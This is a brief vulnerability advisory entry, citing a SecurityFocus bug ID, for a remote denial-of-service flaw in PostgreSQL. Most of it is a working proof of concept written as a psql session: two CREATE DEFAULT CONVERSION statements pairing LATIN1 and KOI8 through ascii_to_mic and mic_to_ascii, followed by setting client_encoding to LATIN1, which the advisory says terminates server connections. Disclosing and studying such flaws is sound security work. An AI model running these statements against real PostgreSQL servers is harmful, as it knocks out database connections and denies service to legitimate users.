source: https://www.securityfocus.com/bid/34090/info PostgreSQL is prone to a remote denial-of-service vulnerability. Exploiting this issue may allow attackers to terminate connections to the PostgreSQL server, denying service to legitimate users. test=# CREATE DEFAULT CONVERSION test1 FOR 'LATIN1' TO 'KOI8' FROM ascii_to_mic; CREATE CONVERSION test=# CREATE DEFAULT CONVERSION test2 FOR 'KOI8' TO 'LATIN1' FROM mic_to_ascii; CREATE CONVERSION test=# set client_encoding to 'LATIN1';